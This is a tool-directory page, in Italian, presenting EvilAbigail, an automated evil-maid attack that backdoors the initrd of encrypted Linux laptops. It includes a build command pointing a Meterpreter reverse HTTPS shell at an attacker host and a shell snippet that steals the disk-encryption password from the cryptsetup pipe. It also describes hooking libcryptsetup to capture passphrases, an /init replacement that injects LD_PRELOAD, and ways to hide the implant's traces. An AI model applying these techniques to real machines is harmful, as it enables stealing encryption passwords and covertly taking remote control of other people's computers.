Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
EvilAbigail — Attacco evil maid automatizzato su Linux | Kitploit
Strumenti/GitHubGitHub/strozfriedberg/evilabigail
Escalation di PrivilegiAttacchi alle PasswordExploitPost-ExploitRed TeamingSviluppo Payload
GitHubstrozfriedberg/evilabigail

EvilAbigail

Attacco evil maid automatizzato su Linux

Vedi Repository
4357710 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Attacco al filesystem root crittografato via initrd

EvilAbigail

Scenario

  • Laptop lasciato spento con FDE attivo
  • Attaccante avvia da USB/CD/Rete
  • Lo script viene eseguito e backdoora l'initrd
  • L'utente torna al laptop, avvia normalmente
  • L'initrd backdoorato carica:
    • (Debian/Ubuntu/Kali) file .so in /sbin/init all'avvio, rilasciando una shell
    • (Fedora/CentOS) LD_PRELOAD .so in DefaultEnviroment, caricato globalmente, rilasciando una shell.

Distribuzioni supportate

  • Ubuntu 14.04.3
  • Debian 8.2.0
  • Kali 2.0
  • Fedora 23
  • CentOS 7

Funzionalità attuali

  • python/meterpreter/reverse_https al LHOST di compilazione
  • Password di decifratura FDE memorizzata nell'ambiente meterpreter (getenv PASSWORD)

Dettagli

Compilazione

Vedere il Makefile per maggiori informazioni/configurazioni, LHOST è richiesto nell'ambiente per costruire il .so dato che msfvenom viene passato tramite pipe al momento della compilazione. È anche necessario avere libcrypsetup-dev (o equivalente) installato sulla macchina di build.

Istruzioni generiche (costruisce immagine iso nella directory corrente): LHOST=192.168.56.101 make rev.so iso

isolinux.cfg

Le seguenti opzioni sono state aggiunte al boot del kernel:

mc superuser nodhcp quiet loglevel=0

Inoltre, il valore di prompt è stato impostato a 0 per permettere l'esecuzione completamente automatizzata.

Tempistiche

Tempo approssimativo dall'avvio malevolo al backdoor: ~2 minuti Tempo approssimativo dall'avvio legittimo alla shell: ~90 secondi (configurabile, vogliamo che la rete sia attiva prima di noi)

Prerequisiti

core.d è un core.gz estratto da TinyCore con i pacchetti seguenti integrati.

Core-current è un Core-current.iso estratto

I seguenti pacchetti sono stati installati all'interno di tinycore (python, supporto filesystem):

  • bzip2-lib.tcz
  • filesystems-3.16.6-tinycore.tcz
  • gdbm.tcz
  • libffi.tcz
  • mtd-3.16.6-tinycore.tcz
  • ncurses.tcz
  • openssl.tcz
  • python.tcz
  • readline.tcz
  • sqlite3.tcz

Aggiungere nuove firme

Come minimo la firma è la seguente:

root@kitploit:~
"exampleOS" : {
    "IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
    "ROOT" : "${rootmnt}",
    "FILENAME" : "/ldlinux.so.1",
    "INITRDFILENAME" : "hda1"
}
  • exampleOS è un nome univoco per questo SO.
  • IDENTIFIER è un comando shell che ha un codice di uscita 0 quando eseguito sull'initrd corretto, e !0 per qualsiasi altro.
  • ROOT è il percorso completo o la variabile dove il nuovo root viene montato dopo la decifratura.
  • FILENAME è il percorso completo per depositare il nostro binario sul filesystem root. Fare attenzione a sapere cosa monta initrd e cosa viene montato successivamente.
  • INITRDFILENAME è il percorso completo del binario all'interno dell'initrd. Questo viene copiato all'interno del Makefile (cp ... core.d/...) quindi dovrebbe corrispondere.

Dopodiché, ogni tripla di *FILE, *PRE, *POST viene eseguita sull'initrd come una re.sub (es. re.sub(*PRE, *POST, *FILE)). I contenuti di *PRE e *POST vengono espansi usando .format(**config[detectedOS]), quindi sentiti libero di espandere la tua firma per iniettare elementi.

Non c'è limite al numero di sostituzioni che puoi eseguire.

Note

  • \\1 si espanderà al contenuto completo della corrispondenza (*PRE) quando usato all'interno della sostituzione (*POST).
  • Fare attenzione a: | $

Dettagli minuziosi

Payload

Il payload python/meterpreter/reverse_https di metasploit è stato scelto perché è più indipendente dalla piattaforma rispetto ai payload linux/*/meterpreter/reverse_tcp. python sembra essere installato di default su tutti i sistemi testati.

Di default, il payload viene generato al momento della compilazione e passato tramite pipe nel file .c come #define. Questo facilita le iterazioni, ma non dovrebbe essere difficile salvare il payload e inserirlo manualmente.

Basati su Debian (Debian, Ubuntu, Kali)

Rilascio della shell

I sistemi basati su Debian (Debian, Ubuntu, ecc.) usano un'immagine cpio standard gzippata come initramfs. Questa contiene lo script /init di default che prepara il sistema per l'avvio completo. Questo include chiedere all'utente la password e montare il filesystem root crittografato.

Per rilasciare il nostro .so, aspettiamo che il filesystem root sia stato montato (quindi dopo che all'utente è stata chiesta la password) e copiamo il .so nel filesystem /dev. Il filesystem /dev è stato scelto perché è accessibile appena prima che il rootfs venga cambiato ed è un mount basato su RAM. Questo significa che il nostro .so non toccherà il disco.

Per utilizzare effettivamente il .so rilasciato, usiamo poi la variabile d'ambiente LD_PRELOAD nella chiamata switch_root. Questa variabile viene passata a tutti gli eseguibili figli e quindi lo script finale /sbin/init avrà il modulo caricato. Per mantenere questo relativamente silenzioso, controlliamo se siamo caricati in /sbin/init, e in tal caso, rimuoviamo la variabile LD_PRELOAD e cancelliamo il .so. Questa funzionalità può essere facilmente disabilitata se volessimo agganciare applicazioni specifiche.

Per forzare l'esecuzione del .so, di default dopo il caricamento, usiamo il flag gcc -Wl,-init,shell, dove shell è la nostra funzione principale. Questo specifica quale funzione vogliamo chiamare all'inizializzazione del .so. Pensalo come un analogo del DllMain di Windows.

Furto della password

La parte dello script init incaricata di chiedere all'utente la password e montare il filesystem root è la seguente:

scripts/local-top/cryptroot:

root@kitploit:~
if [ ! -e "$NEWROOT" ]; then
        if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
             $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
                message "cryptsetup: cryptsetup failed, bad password or options?"
                continue
        fi
fi

La parte importante per noi è dove l'output di $cryptkeyscript viene passato tramite pipe a $cryptcreate. $cryptkeyscript è il richiedente della password, e $cryptcreate è il montatore del disco. Questa pipe rende molto facile per noi attaccare. Inseriamo il seguente codice dove si trova la pipe per scrivere la password alla fine del nostro .so:

(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)

Questo legge la password nella variabile $P, e sia la scrive alla fine del .so che la ripete di nuovo. Questo codice sarà trasparente per gli scopi di $cryptkeyscript e $cryptcreate, ma avrà l'effetto collaterale di esfiltrare la password. Usiamo \\\\\\\\x00 per anteporre un byte nullo (tenendo conto di molti livelli di escaping della shell) alla password. Questo rende molto più facile per il nostro .so rileggere la password, poiché deve solo leggere all'indietro dalla fine di se stesso fino a vedere un byte nullo.

Per fornire questa password all'attaccante, viene usata come variabile d'ambiente nell'invocazione del payload. Ciò significa che l'attaccante può semplicemente usare il comando meterpreter getenv PASSWORD per recuperare la password.

Artefatti

A causa del modo in cui il .so viene caricato, ci saranno riferimenti ad esso sia in /proc/1/maps che in /proc/1/environ.

Il file maps è un elenco dei moduli caricati. Il seguente estratto mostra il contenuto di questo file. Notare il (deleted), potrebbe potenzialmente destare sospetti. Tuttavia, a differenza dei binari normali, non è possibile accedere al .so senza estrarlo direttamente dalla memoria dopo che è stato cancellato.

root@kitploit:~
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264                       /dev/hda1 (deleted)

Il file environ è un elenco separato da NULL delle variabili d'ambiente al momento dell'invocazione. Poiché proviene dall'invocazione, ciò significa che qualsiasi modifica apportata a runtime (rimuovendo LD_PRELOAD) non verrà riflessa.

In entrambi i casi, poiché possiamo essere agganciati a qualsiasi processo di sistema, potremmo semplicemente agganciare la funzione read(2) e rimuovere qualsiasi riferimento a noi stessi.

Kali

Kali è una sorta di caso speciale. Ha il cpio concatenato come menzionato sotto, ma non usa systemd per l'avvio. Pertanto, la regola del SO DRACUT è stata generalizzata in modo da estrarre ciecamente, e poi la seconda rilevazione del SO cattura Kali.

Se aggiungi un SO con un cpio contenente solo kernel/x86/microcode/GenuineIntel.bin, la regola IDENTIFIER dovrebbe essere per il cpio aggiunto, poiché lo troveremo e lo estrarremo automaticamente.

Basati su Redhat (Fedora, CentOS)

Questi sistemi hanno un formato diverso per la loro immagine initrd rispetto ai sistemi basati su Debian. I file initrd memorizzati in /boot sono un archivio cpio quasi vuoto, con un archivio cpio gzippato aggiunto. Questo secondo archivio è quello che contiene l'initramfs. Per decomprimere questo secondo archivio è necessario analizzare il primo archivio cpio per trovare la fine. In alternativa puoi trovare la stringa TRAILER!!! e leggere fino a trovare la magic gzip (\x1f\x8b).

Un'altra differenza di questi sistemi è che sono basati su systemd, e quindi l'eseguibile /init nell'initramfs è un collegamento simbolico al binario systemd, piuttosto che un semplice script sh. Per bypassare questa limitazione, è necessario modificare i file .service relativi al montaggio del filesystem root.

Il file usr/lib/systemd/system/initrd-switch-root.service contiene lo script che viene utilizzato per fare il pivot verso il root appena decifrato. Usando la direttiva ExecStartPre è possibile eseguire altri programmi prima che il pivot avvenga.

SELinux è presente su CentOS, limitando l'uso di LD_PRELOAD. Un percorso funzionante è /lib. Questo è stato individuato leggendo il file /etc/selinux/targeted/modules/active/file_contexts per una posizione etichettata system_u:object_r:lib_t.

Rilascio della shell

Poiché systemd chiama clearenv() prima di cambiare root, la nostra variabile LD_PRELOAD viene cancellata. Per bypassare questo, possiamo agganciare clearenv(), e sostituire sempre l'ambiente solo con LD_PRELOAD. Tuttavia, per ottenere questo, dobbiamo essere PID 1 all'interno dell'initrd. Questo è più complicato poiché non è possibile fare LD_PRELOAD in questo processo. Per aggirare il problema, abbiamo sostituito /init con uno script shell bash come segue:

root@kitploit:~
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd

Questo funziona perché /init è solo un collegamento simbolico a /usr/lib/systemd/systemd. Viene usato exec in modo che il processo mantenga il PID genitore (1).

Una volta implementato questo, e neutralizzato clearenv(), è possibile impostare LD_PRELOAD per il vero pid 1 all'interno del nuovo root.

Furto della password

systemd gestisce le password per i filesystem crittografati in modo completamente diverso rispetto agli script init basati su Debian. Le password vengono passate utilizzando socket Unix che permettono di inviare credenziali. Per aggirare questa complessità, il metodo più semplice che abbiamo trovato per accedere alla password è stato agganciare la funzione crypt_activate_by_passphrase di libcryptsetup. Le parti rilevanti della dichiarazione della funzione sono le seguenti:

root@kitploit:~
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);

Per accedere alla password, agganciamo semplicemente questa funzione, salviamo passphrase in un file e chiamiamo la funzione originale ottenuta con dlsym(RTLD_NEXT, ...). Come sopra, abbiamo aggiunto la nostra password al .so in modo che possa analizzare se stesso e rendere la password disponibile a meterpreter.

Artefatti

Come sopra, il .so appare in /proc/1/maps, /proc/1/environ e nell'output di ps.

Scarica lo strumento